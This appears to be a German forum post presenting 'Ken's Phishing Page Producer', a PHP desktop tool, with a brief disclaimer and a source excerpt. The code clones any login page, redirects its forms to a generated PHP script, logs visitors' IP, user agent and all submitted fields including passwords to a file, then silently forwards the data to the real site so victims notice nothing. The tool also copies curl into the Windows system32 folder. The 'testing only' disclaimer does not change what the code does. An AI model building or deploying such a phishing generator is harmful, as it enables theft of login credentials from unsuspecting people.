Zur Technik
Das Teil ist in PHP geschrieben, so was funktioniert mit
bamcompile und der
WinBinder-Erweiterung.
Zur Nutzung
Keine dummen, unberechtigten Fragen stellen; Weitergabe ausdrücklich erlaubt; nichts Illegales damit machen; nur für Testzwecke benutzen; niemand anderem Logindaten oder andere persönliche Informationen stehlen (insbesondere den eigenen Freunden nicht!!); nicht wegen niederen Beweggründen das Programm missbrauchen - wenn also Mist damit gebaut wird, nicht mich dafür verantwortlich machen, das ist nie meine Intention gewesen.
Hinweis
Beim ersten Start kopiert das Programm curl (mit SSL kompiliert) zusammen mit einigen Programmbibliotheken in Euren system32-Ordner.
Auszug aus dem Quellcode
Hier der eigentlich interessante Teil aus dem Programm-Quellcode, nämlich jener, wo das Phishingseiten-Skript generiert wird:
PHP-Code:
<?php
[...]
// Werte auslesen
$url = getval(url);
$logfile = getval(logfile);
$name = getval(name);
// Fehlerbehandlung
if(!preg_match("|https?://[a-zA-Z0-9\.\-_+äöü]*\.[a-z]{2,4}/?.*|", $url))
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid url.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $logfile) || $logfile == "" || $logfile[0] == ".")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid logfile filename.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $name) || strtolower(end(explode(".", $name))) != "php")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid output filename.");
break;
}
// Seite auslesen und Formulare bearbeiten
display(status, "Loading and analysing ".$url."...");
$page = str_replace("<head>", "<head>\n<base href=\"".$url."\" />", _exec("curl -k \"$url\""));
preg_match_all("|<form.*</form>|Usi", $page, $forms);
foreach($forms[0] as $val)
$page = str_replace($val, preg_replace('|<form([^>]*)action=[\'"]?([^\'^"^\s]*)[\'"\s]?([^>]*)>?|', '<form$1action="{{ppp-self}}"$3><input type="hidden" name="ppp-action" value="$2" />', $val), $page);
// Generiere PHP-Skript
$script = '<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken\'s Phishing Page Producer
* generated on '.date("d.m.Y - H:i").' for '.$url.'
*/
$self = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$logfile = "'.$logfile.'"; // file where logs shall be saved to
if(isset($_REQUEST["ppp-action"]))
{
$add = date("d.m.Y - H:i")."\nIP: ".$_SERVER["REMOTE_ADDR"]."\nHost: ".@gethostbyaddr($_SERVER["REMOTE_ADDR"])."\nUA: ".$_SERVER["HTTP_USER_AGENT"]."\nPOSTDATA:\n".print_r($_REQUEST, 1)."\n\n\n";
$h = fopen($logfile, "a");
fwrite($h, $add);
fclose($h);
isset($_POST["ppp-action"]) ? $method = "post" : $method = "get";
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<base href="'.$url.'" />
<noscript><meta http-equiv="refresh" content="0; url='.$url.'" /></noscript>
</head>
<body onload="document.getElementsByTagName(\'form\')[0].submit();">
<?php
echo \'<form action="\'.$_REQUEST["ppp-action"].\'" method="\'.$method.\'">\';
unset($_REQUEST["ppp-action"]);
if(isset($_REQUEST["submit"]))
unset($_REQUEST["submit"]);
foreach($_REQUEST as $key => $val)
echo \'<input type="hidden" value="\'.$val.\'" name="\'.$key.\'" />\';
echo \'</form>\'."\n";
?>
</body>
</html>
<?php
exit;
}
$page = \''.str_replace(array("'", "{{ppp-self}}"), array("\'", '\'.$self.\''), $page).'\';
echo $page;
?>';
// Fertig, abspeichern
display(status, "Done. File was saved to ".$name."...");
$h = fopen($name, "w");
fwrite($h, $script);
fclose($h);
wb_play_sound(WBC_WARNING);
wb_wait($mainwin, 150);
wb_play_sound(WBC_WARNING);
[...]
?>